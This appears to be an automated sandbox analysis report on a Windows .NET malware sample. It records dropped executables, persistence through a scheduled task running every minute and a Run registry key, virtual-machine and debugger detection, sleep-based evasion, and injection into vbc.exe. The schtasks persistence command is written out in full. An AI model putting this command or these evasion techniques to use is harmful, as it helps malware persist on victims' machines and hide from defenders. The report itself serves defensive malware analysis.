Source: fghn.exe.9.dr	String found in binary or memory: 3H@rM_2BytesPerCharDirectorySeparatorCharRemoveMemberMagicNumber_haveReadFromReaderInternalFormatProviderMethodBuilderModuleBuilderTypeBuilderAssemblyBuilderSpecialFolderIEEERemainderBufferResourceManagerDebuggerCheckHelperModuleRefUserKeepDelimiterGet_CreatePdbSymbolWriterCreateSymWriterget_IsPointerBitConverterKeyValuePairGetTokenForFloorGet_PercentGroupSeparatorTextElementEnumerator.ctor.cctordotNetProtectorget_IsConstructorCreateDecryptorCodePageDataPtrIntPtrM_iCAsAbsSystem.Diagnosticsgsadshdsget_PreservePropertyRidsFadsssfhcfggddsgsdfgfgggfggggggggilggEndsFadsssfhcfddgdgsgsdfgfgggfggggggggilggEndsGetMethodsadsdsAesSystemEnterpriseServicesSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesSystem.ResourcespFljoFmnmndkleo.resourcesGetDirectoriesabbreviatedMonthNamesDayNamesSaShortTimesM_iEndLinesInlineeLinesGetExportedTypesCompareDeclaringTypesGregorianCalendarTypesMemberTypesStartOfUserTypesEmptyTypesGetCatchEndAddressesMethodAttributesSetFileAttributesTypeAttributesMethodImplAttributesGetCustomAttributesRfc2898DeriveBytesGetBytesfhfsGet_BindingFlagsGetMethodImplementationFlagsSetImplementationFlagsjfddggsshgsfhddsdshfddfhhsagshsSet_HasThisGet_MethodBodyChunksEqualsContainsCallingConventionsm_OptionsCreationOptionsCosGetCustomAttributePropsGetMemberRefPropsget_CharsGetMembersGetOptionalCustomModifiersGet_ExceptionHandlersReadExceptionHandlersRuntimeHelpersGetParametersGet_TotalHoursget_IsClassAssemblyBuilderAccessM_accessGetCurrentProcessSsucggsshhhdassdasgggggggggdddddddddddfccgdfsdefssSsucggsshhhdassdassssssssgggggggggdddddddddddfccgdfsdefssSsucggsshhdhgdddddddggggggggggggsddddfccggdfsdefssgfssGetGenericArgumentsExistsModulus l

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EB5CF0 push ebx; retf	0_2_04EBA826
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EB4C5D push esp; ret	0_2_04EB4C5E
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EB4D2D push cs; retf	0_2_04EB4D4A
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04ECA4FE push edx; retf 0040h	0_2_04ECA57E
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04ECA9DE pushad ; ret	0_2_04ECAA1D
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EC0E89 push ebp; ret	0_2_04EC0E8C
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EDBC8F pushfd ; ret	0_2_04EDBC8E
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EDB896 push ds; iretd	0_2_04EDB9AA
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EDBC5E pushfd ; ret	0_2_04EDBC8E
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EDB829 push ds; iretd	0_2_04EDB9AA
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04EDB813 push ds; iretd	0_2_04EDB9AA
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04F00EC0 push ds; ret	0_2_04F00EC3
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Code function: 0_2_04F00287 push edi; iretd	0_2_04F0028A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09EE8860 push 8C09138Ch; retf 04F7h	2_2_09EE9C3D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09EE9800 push 8C09138Ch; retf 04F7h	2_2_09EE9C3D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A27122D push esp; iretd	2_2_0A27122E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A271397 pushad ; iretd	2_2_0A271398
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A2713EA push esp; iretd	2_2_0A2713EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A27102B push esp; iretd	2_2_0A27102C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A272520 push edi; ret	2_2_0A272526
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A272177 push edi; retn 0000h	2_2_0A272179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A2715E5 pushfd ; iretd	2_2_0A2715E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A2725DD push E904F7D0h; retn 0006h	2_2_0A2725E2

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Roaming\fghn\fghn.exe			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Roaming\excel\excel.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run excel			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run excel			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\excel\excel.exe:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\excel\excel.exe:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe TID: 5840	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe TID: 5840	Thread sleep time: -41000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe TID: 5748	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 5232	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 5932	Thread sleep count: 9658 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe TID: 2620	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe TID: 2620	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe TID: 5828	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 1680	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 5704	Thread sleep count: 9690 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Window / User API: threadDelayed 9658			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Window / User API: threadDelayed 9690			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: vbc.exe, 00000002.00000003.391294158.0000000009F3A000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.394371318.0000000009F4C000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.593748188.000000000A5E2000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 2_2_0A3F3AC0 LdrInitializeThunk,

2_2_0A3F3AC0

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects files into Windows application

Source: C:\Users\user\AppData\Roaming\excel\excel.exe	Injected file: C:\Users\user\AppData\Roaming\excel\excel.exe was created by C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\excel\excel.exe	Injected file: C:\Users\user\AppData\Roaming\excel\excel.exe was created by C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\excel\excel.exe	Injected file: C:\Users\user\AppData\Roaming\excel\excel.exe was created by C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\excel\excel.exe	Injected file: C:\Users\user\AppData\Roaming\excel\excel.exe was created by C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 402000	Jump to behavior
